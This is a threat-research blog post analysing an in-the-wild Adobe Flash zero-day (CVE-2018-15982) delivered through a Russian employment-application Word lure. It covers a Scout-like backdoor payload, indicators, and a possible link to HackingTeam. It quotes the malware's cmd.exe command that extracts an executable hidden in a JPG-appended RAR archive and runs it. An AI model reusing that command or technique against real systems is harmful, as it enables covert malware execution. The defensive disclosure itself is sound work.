Adobe Flash Zero-Day Exploited In the Wild
December 5, 2018
Research by: Chenming Xu, Ed Miles, Justin Warner, Dan Caselden
Gigamon Applied Threat Research (ATR) identifies an active exploitation of a zero-day vulnerability in Adobe Flash via a Microsoft Office document. The vulnerability (CVE-2018-15982) allows for a maliciously crafted Flash object to execute code on a victim’s computer, which enables an attacker to gain command line access to the system. The document was submitted to VirusTotal from a Ukranian IP address and contains a purported employment application for a Russian state healthcare clinic.
This blog outlines the targeting of the document (“22.docx”), the technical details of the attack chain, and highlights analysis into a range of interesting elements of the discovery. Further, we discuss similarities between this attack and known campaigns that have been related to HackingTeam or the leak of the HackingTeam codebase. It is our goal that by sharing this, defensive security teams will be informed about the recently discovered threat activity and more broadly understand the type of indicators that can assist in identification of similar attack vectors.
Gigamon ATR reported the issue to the Adobe Product Security Incident Response Team (PSIRT) on Thursday November 29th, 2018 at 2:00 AM PDT. Adobe acted quickly to coordinate with Gigamon ATR, reproduce the vulnerability, and distribute a patch for its software on December 5, 2018. The vulnerability was issued the Common Vulnerabilities and Exposures ID of CVE-2018-15982.
Targeting Analysis
“22.docx” is a Russian language document that masquerades as an employment application for a Russian state healthcare clinic. The document contains seven pages of personal questions that typically would be in an employment application. (Figure 1). The document contains a creator name of “tvkisdsy”.
Figure 1: Lure document used purporting to be an application to Russian state clinic
Analysis of the logo at the top of the document revealed that the fake application was for “Polyclinic No. 2” of the Russian state healthcare system. Polyclinic No. 2 is an adult outpatient clinic located in Moscow, Russia. The logo was corroborated against the authentic Polyclinic logo and public website as well as from photos found online of the clinic in Russia.
While the document lure appears highly targeted, ATR has previously observed other spear phishing attacks with lures with no relation to their actual targets and thus without visibility over the affected persons, we can only assess the nature of targeting with low confidence.
Technical Attack Overview
The attack scenario associated with this campaign is rather simplistic in nature. The documents contain an embedded Flash Active X control in the header (Figure 2) that renders upon document opening and causes exploitation of the Flash player within Office. Following exploitation, a malicious command is executed that attempts to extract and execute an accompanying payload.
Figure 2: Hidden object inside of the header
Exploitation
Although the death of Flash has been widely reported thanks to industry efforts to deprecate and remove Flash from web browsers, vectors such as Microsoft Office remain able to load and execute Flash content. As such, exploits against zero-day vulnerabilities that allow for command execution using relatively stock enterprise software are valuable. Flash exploitation can be expected to continue as long as there are valid weaponization vectors that permit reliable execution.
In this specific case, the Flash exploit was entirely self-encapsulated within the document and supports 32–bit and 64-bit systems (with respective shellcode). The container wrapping the Flash file contains a hardcoded path, “C:\run.de.swf”, which might represent the path of the file as the document was weaponized. The Flash file and shellcode stubs do not make use of remote inclusion, staging, obfuscation, or anti-analysis of any kind. Both shellcode stubs execute “cmd.exe” with the same supplied command:
C:\WINDOWS\system32\cmd.exe /c set path=%ProgramFiles(x86)%\WinRAR;C:\Program Files\WinRAR; && cd /d %~dp0 & rar.exe e -o+ -r -inul*.rarscan042.jpg & rar.exe e -o+ -r -inulscan042.jpg backup.exe & backup.exeThe above command will first unarchive “scan042.jpg” from any .rar archives in the same directory, and then unarchive “backup.exe” from “scan042.jpg”. It then executes backup.exe, which is the final payload.
The command is consistent with an attack packaged as a RAR archive containing the exploit document and “scan042.jpg”. By creating an archive with this layout and simulating an attack, our tests show that opening the document within the archive is sufficient to run the exploit and payload. The user does not need to first unarchive the exploit document and payload.
Payload
ATR did not witness this attack directly against the victim. However, through reproduction and further research, ATR has moderate confidence that we discovered the associated payload based on similarity in submission details, expected behavior (jpg as a RAR file), close time proximity, and a file name matching that expected by the exploit. ATR has moderate (to high) confidence that the payload is a variant of the Scout malware.
The payload, initially named “backup.exe” within “scan042.jpg, is a Windows executable file with metadata that suggests it is an “NVIDIA Control Panel”, including matching icon and manifest details. It is protected with VMProtect, which is a mechanism meant to prevent reverse engineering and analysis. Upon execution, the payload collects system information, establishes persistence, and communicates with a remote server via HTTP POST. It was observed exhibiting the following behaviors:
- System information enumeration (leverages WMI queries to enumerate locally)
- Persistence as a Scheduled Task
- Padding data is added to backup.exe
- Padded binary is dropped in %LOCALAPPDATA%\NVIDIAControlPanel\NVIDIAControlPanel.exe
- Set to launch on user login
- HTTP POSTs to “dotted-quad” with base64 content
- Hardcoded Command and Control Address: 188.241.58[.]68
- Hardcoded User-Agent String: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
- Sleeps for 5 minutes between network callbacks (Figure 4)
Figure 3: The above image shows the scheduled task created by the malware to ensure persistence across reboots.
Figure 4: The above image shows an example of the network callbacks performed by the malware.
“backup.exe” is signed with a legit, now revoked, certificate issued to “IKB SERVICE UK LTD” with serial number 57:5F:C1:C6:BC:47:F3:CF:AB:90:0C:6B:C1:8A:EF:6D and thumbprint D8:7A:A2:1D:AB:22:C2:F1:23:26:0B:1D:7A:31:89:3C:75:66:B0:89. The presence of a valid Authenticode certificate tends to increase a file’s reputation, potentially fooling anti-virus and automated detection systems.
Figure 5: Depicts the periodic nature of the network callbacks.
Figure 6: Shows the Authenticode certificate used to sign the malware.
Pivoting on Metadata
Automated analysis of VirusTotal samples originally prioritized “22.docx” for manual analysis, leading to its discovery as a zero-day exploit document and ATR’s submission to Adobe within 2 hours of receipt. Using metadata present in “22.docx”, ATR pivoted within VirusTotal with high confidence to the artifacts depicted in Figure 7.
Figure 7: Diagram illustrating analytical pivots made by ATR to identify related documents
- Additional Document: Leveraging the creator field within the document (“22.docx”), ATR was able to identify an additional document (“33.docx”) submitted by the same VirusTotal submitter ID within the same country a short timeframe after the original document. The second document contained nearly identical content including the exploit of CVE 2018-15982. The second document did contain a “modified by” name of “Кирдакова” (“Kirdakova”), a common Russian surname, and a “company” field “Uito”.
- Related Payload: After identification of a likely filename used by the exploit, ATR was able to pivot and identify a file in VirusTotal with the expected name and similar submission details (submitter ID, country, and timeframe). Although the file is a jpg image, a RAR archive is appended to it. Appending an archive to an image is a common malicious technique, and WinRAR can still recognize and unarchive the appended archive.
- Possibly Related Malicious Binary: By pivoting on the certificate used to sign the identified payload, we were able to identify an additional file (“c2a827cd8aefa54fb2f91b0f767292d94f5ef7dde9c29090e6be21d34efd1449.exe”) that appears to be related and from a much earlier timeframe when the certificate was still valid.
Is This HackingTeam?
HackingTeam is an Italian offensive security company who sells both surveillance tools and remote access as a service. They were breached in 2015, leading to the public dissemination of their internal data such as email and source code to their backdoors and exploits. The breached data included client names, renewing complaints of HackingTeam’s willingness to sell services to questionable governments. Following the breach, threat actors around the world (e.g., APT3 and APT18, Callisto group, exploit kits) used HackingTeam tools to conduct their operations. The exploits within the breach were reliable and targeted unpatched vulnerabilities, and the now-common backdoors offered a sense of free anonymity.
The observed tradecraft and techniques in this new attack, from the exploit to the payload, are similar to that used by HackingTeam. Notable points to tie this activity to previous HackingTeam activity include:
- Similarities in the use of VMProtect to protect follow on payloads.
- Similar use of digitally signed payloads and forged manifest metadata, often masquerading as legitimate applications.
- The certificate was created less than a week after ESET released a report detailing HackingTeam and Callisto Group operations, including previous certificates being used. While we do not know for sure, it is possible the new payloads and certificates were created as a follow on to this activity.
- The Scout payload ATR analyzed uses a similar padding size for the persistence binary as the actors ESET observed
- Multiple Antivirus products detect the payload as CrisisHT (AKA HackingTeam).
- Similarities in the use of zero-day exploits in Flash documents, specifically embedded within Microsoft Office documents. Typically, these Flash files lacked obfuscation or staging. Additionally, exploits often contained compatibility of exploits and shellcode across 32-bit and 64-bit architectures.
Two Primary issues that cause hesitation when associating this activity with Hacking Team:
- Copy cats using leaked source code (Callisto Group is a particular example) allows for extremely easy emulation/adaptation of HackingTeam TTPs
- Absence of remote inclusion or external web requests for exploit components, which HackingTeam used as early as 2013.
While attribution is going to be difficult in this scenario given the evidence we had within the timeframe of analysis, it is really not needed for detection purposes. At best, it could aid the victim’s organization in determining intent and guiding response actions, but in reality, whether it is Hacking Team, a impersonator, or completely unrelated, the fact remains a valid zero-day might have been used to perform targeted exploitation against a victim.
Appendix: Referenced Samples
|
Submitted Date |
Context |
Submitted Name |
Submitter ID |
Submitter Country |
SHA256 |
|
2018-10-03 21:59:17 |
Similar Payload |
c2a827cd8aefa54fb2f91b0f767292d94f |
5da7571a |
SK |
c2a827cd8aefa54fb2f91b0f7672 |
|
2018-11-29 08:01:39 |
Exploit Document |
22.docx |
376d3d48 |
UA |
14bd1ab23d13543835821dd1fa5 |
|
2018-11-29 08:18:37 |
Payload in RAR in JPG |
scan042.jpg |
376d3d48 |
UA |
6a7885f99ac30b061e90eb9f7a1 |
|
2018-11-29 10:10:13 |
Exploit Document |
33.docx |
376d3d48 |
UA |
f9c093f408a2c0c66116bb47f466 |
|
2018-11-30 06:24:45 |
Extracted Payload |
backup.exe |
63b1639b (potential automation) |
FR |
d123723e577b8e277e43399e6e54 |
Post comments, ask questions, join the discussion at the Gigamon Community's Network Detection & Response section.
- ©Gigamon 2020